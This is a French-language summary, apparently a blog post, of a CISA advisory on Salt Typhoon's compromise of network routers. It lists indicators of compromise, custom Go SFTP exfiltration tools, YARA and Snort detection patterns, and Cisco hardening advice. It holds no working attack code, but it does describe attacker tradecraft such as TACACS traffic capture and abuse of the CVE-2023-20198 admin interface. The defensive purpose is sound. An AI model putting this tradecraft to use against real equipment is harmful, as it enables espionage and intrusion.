En cas de découverte d’activité malveillante avérée, il est impératif de planifier une réponse coordonnée. Idéalement, il faut d’abord cartographier l’ampleur de la compromission (quels équipements, quels accès, quelles données ont pu être touchées) puis, de manière synchronisée, purger les intrus de tous les systèmes. Concrètement, cela peut impliquer de déconnecter temporairement certains liens, de restaurer des configurations propres, de révoquer tous les accès administrateurs et les recréer avec de nouveaux secrets, de mettre à jour en urgence les correctifs, etc., le tout quasi simultanément pour éviter qu’un accès restant ne permette à l’attaquant de rebondir.

Une telle opération est délicate et doit s’accompagner d’une communication sécurisée en interne (les assaillants surveillant possiblement les e-mails ou comptes admins, il faut éviter de divulguer les détails de l’opération de purge). Par ailleurs, des captures forensiques (mémoire, processus, fichiers) doivent être effectuées avant l’éradication afin de garder des preuves et d’aider à l’enquête. Enfin, conformément aux lois et réglementations, tout incident affectant des données sensibles ou des services critiques devra être notifié aux autorités compétentes.

Indicateurs de compromission et outils associés

Le rapport fournit un certain nombre d’indicateurs techniques (IoC) liés à cette campagne. Une liste de plusieurs dizaines d’adresses IP a notamment été publiée, correspondant à l’infrastructure d’attaque utilisée entre août 2021 et juin 2025. Ces adresses (IPv4 et deux adresses IPv6) incluent des serveurs VPS et des routeurs compromis ayant servi de relais. Il est conseillé aux défenseurs de vérifier si ces IP apparaissent dans leurs logs (connexions entrantes ou sortantes) et, le cas échéant, de mener des investigations approfondies. Cependant, une mise en garde est formulée : certaines de ces IP ont pu être recyclées ou réattribuées depuis leur usage par les attaquants, il convient donc de ne pas bloquer aveuglément mais de valider chaque indicateur dans son contexte avant action (sous peine par exemple de bloquer une IP innocente récemment réutilisée par un autre service). Parmi les adresses identifiées figurent par exemple : 1.222.84[.]29, 103.168.91[.]231, 45.61.133[.]79, ou encore 2001:41d0:700:65dc::f656:929f (en IPv6). Une liste complète en formats JSON et XML a été publiée en annexe du rapport pour intégration dans les outils de SIEM.

Outre les adresses IP, d’autres traces techniques spécifiques ont été relevées. Par exemple, la présence dans la configuration ou les logs d’une capture nommée “mycap” filtrant le port 49, ou d’un fichier exporté nommé “tac.pcap”, constitue un indicateur fort d’activité de cet acteur. De même, l’apparition d’une session TFTP où le fichier transféré se nomme tac.pcap est un signe d’alerte. Enfin, l’activation du service sshd_operns sur un routeur Cisco IOS XR (port 57722 ouvert) et la création d’un compte local soudainement ajouté à la config sont des IoC évidents.

Les acteurs disposent également de certains outils malware sur mesure. En particulier, ils utilisent un client SFTP personnalisé, développé en langage Go (statiquement compilé pour Linux x64), qui leur sert à exfiltrer les données de façon sécurisée. Ce binaire sur mesure chiffre les archives de données avant de les transférer vers des serveurs de stockage intermédiaires. Quatre variantes de ce client SFTP ont été documentées, nommées d’après des chaînes internes : cmd3, cmd1, new2 et sft. Elles partagent des similitudes de code (suggérant un même auteur).

La variante cmd1 se distingue en incorporant carrément la capacité de réaliser elle-même des captures réseau sur la machine compromise, en plus du transfert de fichiers. Des règles YARA ont été publiées pour détecter ces fichiers binaires en cas d’analyse forensique ou d’analyse antivirale. Par exemple, la présence de la chaîne de compilation C:/work/sync_v1/cmd/cmd1/main.go ou de motifs liés à des commandes Cisco dans un exécutable peut indiquer la présence du malware cmd1 associé à Salt Typhoon.

Enfin, pour aider à la détection préventive des tentatives d’exploitation, le rapport fournit également une règle Snort visant à repérer les requêtes malveillantes associées à la faille CVE-2023-20198 (ajout de compte admin via l’interface web Cisco). Cette signature alerte sur tout trafic HTTP contenant certains motifs caractéristiques (méthode POST vers /webui_wsma* avec du contenu indiquant l’ajout d’un utilisateur privilège 15). L’intégration de telles règles dans les IDS/IPS peut contribuer à bloquer ou signaler une exploitation en cours sur les équipements non corrigés.

Mesures de mitigation recommandées

Afin de contrer ce type de menace sophistiquée, les spécialistes conseillent une approche défense en profondeur centrée sur le durcissement des équipements réseau et l’amélioration de la visibilité sur ces derniers. Le rapport insiste notamment sur les mesures suivantes :

  • Appliquer en priorité les correctifs de sécurité sur les équipements exposés : Les failles exploitées étant connues, il est impératif de corriger sans délai les vulnérabilités critiques listées plus haut (CVE-2024-21887, CVE-2024-3400, CVE-2023-20273, CVE-2023-20198, CVE-2018-0171, etc.). La gestion des patchs doit être adaptée à la menace : traiter d’abord les systèmes en bordure (routeurs, VPN, firewalls) et ceux déjà exploités dans la nature selon le catalogue des failles exploitées connu (Known Exploited Vulnerabilities de CISA). Mettre à jour les appareils réseau vers des versions supportées par l’éditeur et incluant les derniers correctifs est une base indispensable de la mitigation【D3-SU】. Si certains équipements sont en fin de vie et non patchables, planifier leur remplacement en priorité.

  • Renforcer la sécurité du plan de management réseau : Séparer autant que possible les voies d’administration du réseau des voies de transit client. Concrètement :
    • Isoler le plan de gestion sur un réseau dédié (OOB) ou une VRF de management distincte【D3-NI】. Aucun trafic de management (SSH, HTTPS, SNMP, etc.) ne devrait emprunter les mêmes interfaces que le trafic client ou de peering.
    • Filtrer strictement les accès à ce réseau de management : appliquer des ACL en défaut-deny n’autorisant que les IP des stations d’administration ou jump servers officiels【D3-ITF】. Limiter également les débits (CoPP) pour éviter les abus de protocole.
    • Empêcher toute connexion sortante depuis les interfaces de management ou les VTY des équipements【D3-OTF】. Un routeur ne devrait pas initier de session SSH/Telnet/FTP vers un autre équipement – désactivez transport output sur Cisco pour interdire cela.
    • Désactiver les services non utilisés : Telnet, rlogin, API non nécessaires, etc., et n’autoriser que les protocoles chiffrés et authentifiés (SSH v2, SFTP/SCP, HTTPS)【D3-ACH】. Par exemple, pas de Telnet sur les routeurs, pas de SNMP v2 si v3 peut être utilisé, etc.
    • Utiliser SNMPv3 avec authPriv exclusivement et définir des vues limitant ce que chaque communauté peut modifier. Changer absolument les communautés par défaut (public/private) et utiliser des mots de passe forts【D3-CFP】. Surveiller toute utilisation de commandes SNMP SET sur des OIDs sensibles (changement de configuration).
    • Segmenter IPv6 comme IPv4 : ne pas oublier d’appliquer les mêmes restrictions de management aux adresses IPv6 si le protocole est activé (les attaquants disposant d’infra IPv6, ils pourraient exploiter une ouverture inattendue côté IPv6).
    • Limiter les tentatives d’authentification : pour éviter le brute-force, configurer des politiques de lockout ou au moins un throttling des tentatives TACACS+/SSH【D3-CH】. Privilégier l’authentification à clés publiques pour les administrateurs (et désactiver l’authentification par mot de passe quand c’est possible).
    • Journaliser les commandes admin (AAA accounting) : activer l’enregistrement de toutes les commandes de configuration tapées par les admins via TACACS+ ou RADIUS accounting. Cela permet de détecter ensuite des commandes anormales (ex : un guestshell enable exécuté par un compte admin devrait faire l’objet d’une alerte).

  • Surveillance continue et audit : Mettre en place une gestion de configuration robuste avec audits réguliers【D3-PM】. Conserver l’historique des configurations et automatiser des comparatifs pour détecter les changements non autorisés. De même, auditer régulièrement les règles de firewall et d’ACL, et leur date de modification, en recoupant avec les tickets de changement validés (pour identifier des modifications furtives faites hors processus). Configurer des alertes en temps réel sur certains événements anormaux (connexion d’un nouvel équipement au réseau de management, modification d’une route de peering, activation d’un tunnel inédit, etc.).

  • Durcissement des protocoles de routage et VPN :
    • Activer l’authentification sur les protocoles de routage quand c’est possible (MD5/TCP-AO sur BGP, MD5 sur OSPF, etc.) pour prévenir l’injection de routes par un intrus.
    • Sur BGP, définir des filtres stricts sur les préfixes et AS path attendus, mettre des maximum-prefix pour éviter qu’un peer n’annonce subitement trop de routes, activer GTSM (TTL Security) pour empêcher des sessions BGP depuis l’extérieur, etc. L’idée est de réduire les possibilités de détournement de trafic via BGP.
    • Pour les VPN IPsec, supprimer les configurations par défaut (politiques IKE par défaut…) et n’autoriser que des chiffrements forts conformes aux recommandations actuelles (ex : DH groupe 16 ou 20, chiffrement AES-256, hash SHA-384). Cela afin d’éviter que les intrus n’exploitent de vieux paramètres faibles pour casser ou usurper un tunnel VPN.

  • Recommandations spécifiques Cisco : La présence très forte de routeurs Cisco dans ces incidents a conduit à des conseils particuliers pour ces environnements :
    • Désactiver la fonction Smart Install sur tous les équipements IOS / IOS XE pour éviter l’exploitation de son protocole non sécurisé (CVE-2018-0171).
    • Utiliser des mécanismes de stockage sécurisé des mots de passe : configurer IOS / IOS XE pour qu’il utilise des hash de type Type 8 (PBKDF2-SHA256) pour les mots de passe locaux, au lieu des anciens Type 5 (MD5) ou Type 7 (qui est aisément réversible)【D3-CFP】. Migrer les anciens hash vers un format plus robuste.
    • De même, chiffrer les secrets partagés sensibles (ex : clés pré-partagées IPsec, secret TACACS) en Type 6 (AES) dans la configuration pour qu’ils ne soient pas stockés en clair.
    • Verrouiller les sorties VTY : sur Cisco, appliquer transport output none pour empêcher l’utilisation du routeur comme jump box (un attaquant ne pourra pas s’en servir pour rebondir vers un autre avec le compte routeur).
    • Vérifier l’état du service sshd_operns sur IOS XR : ce dernier doit être désactivé. Aucun service ne devrait écouter sur le port 57722. Intégrer une vérification de ce point dans les contrôles de conformité, notamment après chaque redémarrage ou mise à jour.
    • Désactiver le serveur HTTP non sécurisé sur les équipements : utiliser uniquement HTTPS pour les interfaces web et uniquement sur le réseau de management si nécessaire. Si l’interface web n’est pas utilisée, la désactiver complètement (no ip http server / no ip http secure-server) pour réduire la surface d’attaque.
    • Ajouter un deny any log en fin d’ACL : sur chaque liste de contrôle, s’assurer qu’une clause finale refuse tout le reste en loggant les paquets. Cela permet de repérer dans les logs si du trafic imprévu tente de passer et a été bloqué (ce qui pourrait révéler des scans ou tentatives d’accès).
    • Contrôler l’usage de Guest Shell : Si la fonctionnalité n’est pas requise en production, la désactiver purement et simplement (commande guestshell disable, voire no iox sur IOS XE pour neutraliser le moteur de conteneurisation). Si elle est utilisée légitimement (pour des diagnostics par exemple), mettre en place des restrictions : seul un rôle admin spécifique peut l’activer (via l’AAA command authorization), journaliser aussi l’intérieur du conteneur (rediriger les logs du syslog interne du Guest Shell vers le SIEM central), restreindre le trafic sortant du conteneur au strict nécessaire (via des ACL sur la VRF de management), et effectuer des vérifications régulières de l’intégrité du stockage du routeur (fichiers inattendus pouvant signaler une activité dans le Guest Shell). En cas d’activation/désactivation du conteneur, déclencher des alarmes et capturer l’état (via des scripts EEM, on peut par ex. lister les processus et fichiers à l’instant T pour analyse).

  • Logs centralisés et immuables : S’assurer que tous les équipements envoient bien leurs logs vers un serveur de log central sécurisé (et idéalement en temps réel). Utiliser des canaux chiffrés et authentifiés pour ces envois (IPsec, TLS…). Conserver les logs suffisamment longtemps pour permettre des analyses a posteriori (beaucoup d’intrusions de ce type ne se détectent qu’après coup, et il faut alors remonter plusieurs mois en arrière). Protéger ces logs contre l’altération afin que les attaquants ne puissent pas les effacer s’ils compromettent l’accès au SIEM.

En appliquant l’ensemble de ces mesures, les organisations renforcent significativement la posture de sécurité de leurs infrastructures réseau, réduisant les opportunités d’intrusion initiale et rendant la progression d’un éventuel attaquant beaucoup plus difficile à dissimuler. La campagne actuelle illustre l’importance de considérer les équipements réseau non pas comme de simples boîtes de transport, mais comme des cibles à part entière nécessitant un niveau de protection et de supervision équivalent à celui des serveurs critiques.

Enjoy !

Sources

CISA – Cybersecurity Advisory AA25-239A (27 août 2025) “Countering Chinese State‑Sponsored Actors Compromise of Networks Worldwide to Feed Global Espionage System”: https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-239a